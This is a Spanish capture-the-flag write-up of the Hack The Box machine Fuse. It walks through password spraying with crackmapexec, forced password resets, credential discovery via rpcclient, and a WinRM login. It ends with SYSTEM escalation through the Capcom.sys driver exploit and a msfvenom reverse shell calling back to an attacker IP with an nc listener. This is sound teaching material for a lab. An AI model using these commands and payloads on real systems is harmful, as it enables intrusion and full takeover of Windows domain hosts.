Volver atras HTB_Fuse | Savinotes

HTB_Fuse

Fuse {-}

Introduccion {-}

La maquina del dia 13/08/2021 se llama Fuse.

El replay del live se puede ver aqui

S4vitaar Fuse maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.193

ttl: 127 -> maquina Windows

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.193

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.193 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49667,49675,49676,49680,49698,49761 10.10.10.193 -oN targeted
PuertoServicioQue se nos occure?Que falta?
53domainDomain controller rpcclient null session
80httpWeb, Fuzzing
88Kerberosasproasting attacklista de usuarios validos
135msrpc
139netbios
389LDAPBloodhoundcredenciales
445smbNull session
464kpasswd5?
593ncacn_http
636tcpwrapped
3268ldap
3269tcpwrapped
5985WinRMevil-winrmcredenciales
9389mc-nmfPuertos por defecto de windows
49666msrpcPuertos por defecto de windows
49667msrpcPuertos por defecto de windows
49675msrpcPuertos por defecto de windows
49676ncacn_httpPuertos por defecto de windows
49680msrpcPuertos por defecto de windows
49698msrpcPuertos por defecto de windows
49761msrpcPuertos por defecto de windows

Analyzando el SMB {-}

crackmapexec smb 10.10.10.193
smbclient -L 10.10.10.193 -N

Vemos que estamos en frente de una maquina Windows Server 2016 Standard de 64 bit pro que se llama FUSE en el dominio fabricorp.local. No vemos ningun recursos compartidos a nivel de red. Añadimos el dominio a nuestro

 /etc/hosts 

.

Buscando ususarios con rpcclient y rpcenum {-}

rpcclient -U "" 10.10.10.193 -N

rpcclient $> enumdomusers

Aqui vemos un Access Denied.

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.193

Vemos una vez mas que estamos en frente de una IIS pero nada mas. Seguimos checkeando la web.

Checkear la web {-}

Sabemos que es un IIS 10.0 con asp.net. Hay una redireccion automatica a fuzse.fabricorp.local y vemos que estamos en frente de un servicio de impressora. Miramos los logs print y vemos una columna interesante que es la de Users.

Nos creamos un fichero users y copiamos los usuarios de la web.

Ya que tenemos un fichero con contraseñas, intentamos fuerza bruta con crackmapexec.

Vulnerability Assessment {-}

Crackeo con diccionario {-}

Como tenemos una lista de usuarios potenciales, intentamos combinar los usuarios poniendo como contraseña los mismos usuarios. Esto se hace con crackmapexec de la siguiente forma.

crackmapexec smb 10.10.10.193 -u users -p users

Esto no nos da nada. Intentamos crear un diccionario con la palabras encontrada en la web con CEWL

Creando un diccionario desde una pagina web con CEWL {-}

cewl -w passwords http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers

Intentamos otravez el crackeo con crackmapexec

crackmapexec smb 10.10.10.193 -u users -p passwords --continue-on-success | grep -v -i "failure"

Aqui vemos algo interesante:

fabricorp.local\tlavel:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
fabricorp.local\bhult:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
```

Aqui **crackmapexec** nos dice que a encontrado contraseñas pero son contraseñas por defectos que se tienen que modificar.
Las vamos a cambiar con la utilidad **smbpasswd**

### Cambiando contraseñas con smbpasswd {-}

```bash
smbpasswd -r 10.10.10.193 -U "bhult"
> Old SMB password: Fabricorp01
> New SMB password: S4vitar123$!
> Retype new SMB password: S4vitar123$!

Password changed for user bhult on 10.10.10.193
```

Lo miramos con crackmapexec

```bash
crackmapexec smb 10.10.10.193 -u "bhult" -p 'S4vitar123$!'
```

Ya vemos que hay un *[+]* lo que quiere decir que tenemos credenciales validas.

Intentamos connectarnos con rpcclient

```bash
rpcclient -U 'bhult%S4vitar123$!' 10.10.10.193
```

Nos pone un logon failure. Nos hace pensar que hay como una tarea que cambia la contraseña despues de un momento, intentamos hacer
lo mismo pero un poco mas rapido.

```bash
smbpasswd -r 10.10.10.193 -U "bhult"
> Old SMB password: Fabricorp01
> New SMB password: S4vitar123$!
> Retype new SMB password: S4vitar123$!

Password changed for user bhult on 10.10.10.193

rpcclient -U 'bhult%S4vitar123$!' 10.10.10.193
```

Ya estamos a dentro.

### Enumerando la maquina con rpcclient {-}

```bash
enumdomusers
```

Como hay un printer, tambien se puede enumerar impresoras.

```bash
enumprinters
```

Aqui nos sale una contraseña.

1. Copiamos los usuarios

    ```bash
    echo "user:[Administrator] rid:[0x1f4]
    user:[Guest] rid:[0x1f5]
    user:[krbtgt] rid:[0x1f6]
    user:[DefaultAccount] rid:[0x1f7]
    user:[svc-print] rid:[0x450]
    user:[bnielson] rid:[0x451]
    user:[sthompson] rid:[0x641]
    user:[tlavel] rid:[0x642]
    user:[pmerton] rid:[0x643]
    user:[svc-scan] rid:[0x645]
    user:[bhult] rid:[0x1bbd]
    user:[dandrews] rid:[0x1bbe]
    user:[mberbatow] rid:[0x1db1]
    user:[astein] rid:[0x1db2]
    user:[dmuir] rid:[0x1db3]" | grep -oP '\[.*?\]' | grep -v "0x" | tr -d '[]' > users
    ```

1. Checkeamos con crackmapexec que usuario tiene la contraseña encontrado con enumprinters

    ```bash
    crackmapexec smb 10.10.10.193 -u users -p '$fab@s3Rv1ce$1'
    ```

Aqui vemos que tenemos una credencial valida para el usuario svc-print. Aqui vamos a intentar ganar accesso al systema con WinRM.

## Vuln exploit & Gaining Access {-}

### Ganando accesso con Win-RM {-}

```bash
crackmapexec winrm 10.10.10.193 -u 'svc-print' -p '$fab@s3Rv1ce$1'
```

Aqui vemos quel usuario es (Pwn3d!)

```bash
evil-winrm -i 10.10.10.161 -u 'svc-print' -p '$fab@s3Rv1ce$1'
```

ya estamos a dentro de la maquina y podemos ver la flag del usuario.

## Privilege Escalation {-}

### Rootear la maquina {-}

Enumeamos los privilegios del ususarios

```bash
whoami /priv
whoami /all
```

Vemos quel usuario tiene un privilegio **SeLoadDriverPrivilege**. Miramos en la web si se puede escalar privilegios con
esto. 

En firefox buscamos con *SeLoadDriverPrivilege exploit* y caemos en la web de [tarlogic](https://www.tarlogic.com/blog/abusing-seloaddriverprivilege-for-privilege-escalation/).

Aqui S4vitar nos recomienda trabajar desde una maquina Windows con Visual studio 19 installado para buildear el exploit.

#### Crando el exploit LoadDriver.exe desde la maquina windows {-}

1. creamos una carpeta de trabajo llamado fuse
1. desde visual studio creamos un nuevo proyecto llamado LoadDriver de typo Console App
1. copiamos el contenido del fichero [eoploaddriver](https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp) en el ficher *Source Files/LoadDriver.cpp* del proyecto.
1. eliminamos el primer include que nos da un error *#include "stdafx.h* y que no es necessario
1. en visual studio cambiamos el Debug a Realease y le ponemos x64

1. en el menu le damos a Build -> Rebuild solution
![Fuse-VS2019](/assets/images/Fuse-VS2019.png) 

Esto nos cree un fichero LoadDriver.exe que copiamos en una carpeta compiledbinaries.

#### Recuperamos el capcom.sys {-}

En la web de tarlogic nos dice que necessitamos un fichero llamado *capcom.sys* lo descargamos desde la [web](https://github.com/FuzzySecurity/Capcom-Rootkit/raw/master/Driver/Capcom.sys) y la copiamos
en la carpeta compiledbinaries.

#### Creamos el ExploitCapcom.exe {-}

En este punto nos tenemos que descargar el fichero **ExploitCapcom**. Este fichero se tiene que compilar desde Visual Studio.

1. descargamos el proyecto

    ```bash
    git clone https://github.com/tandasat/ExploitCapcom
    ```

1. desde Visual Studio le damos a File -> Open -> Project/Solution
1. buscamos el .sln y le damos a open

Si abrimos el fichero ExploitCapcom.cpp, la idea aqui seria de modificar el script para que ejecute un binario malicioso creado con *msfvenom*. 
Para esto necesitamos modificar la funccion **launchSell()** del ExploitCapcom.cpp

En la web de [AppLockerByPassList](https://github.com/api0cradle/UltimateAppLockerByPassList), buscamos una routa windows interesante donde se puede trabajar
sin problemas, en este caso seria la 
```bash
 C:\Windows\System32\spool\drivers\color 
```


1. Modificamos el script

    ```cpp
    static bool launchSell()
    {
        TCHAR CommandLine[] = TEXT("C:\\Windows\\System32\\spool\\drivers\\color\\reverse.exe");
    }
    ```

1. Buildeamos el proyecto dandole al menu Build -> Rebuild solution
1. copiamos el fichero ExploitCapcom.exe en la carpeta compiledbinaries


#### Passamos los ficheros a la maquina victima {-}

En la carpeta 
```bash
 compiledbinaries 
```
 tenemos nuestros 3 ficheros necesarios para el exploit.
- Capcom.sys
- ExploitCapcom.exe
- LoadDriver.exe

En esta carpeta, montamos un servidor web con python

```bash
python3 -m http.server
```

Desde la maquina de atacante, descargamos estos ficheros

```bash
wget http://192.168.1.14:8000/Capcom.sys
wget http://192.168.1.14:8000/ExploitCapcom.exe
wget http://192.168.1.14:8000/LoadDriver.exe
```

Creamos el reverse.exe con msfvenom

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.8 LPORT=443 -f exe -o reverse.exe
```

Desde la consola Evil-WinRM de la maquina victima, subimos todo los ficheros

```bash
cd C:\Windows\Temp
upload Capcom.sys
upload ExploitCapcom.exe
upload LoadDriver.exe
cd C:\Windows\System32\spool\drivers\color
upload reverse.exe
```

#### Lanzamos el exploit {-}

En la maquina de atacante nos ponemos en escucha en el puerto 443

```bash
rlwrap nc -nlvp 443
```

En la maquina victima, lanzamos el exploit

```bash
cd C:\Windows\Temp
C:\Windows\Temp\LoadDriver.exe System\CurrentControlSet\savishell C:\Windows\Temp\Capcom.sys
C:\Windows\Temp\ExploitCapcom.exe
```

La reverse shell nos a funccionado y con 
```bash
 whoami 
```
 vemos que ya somos nt authority\system y podemos ver la flag.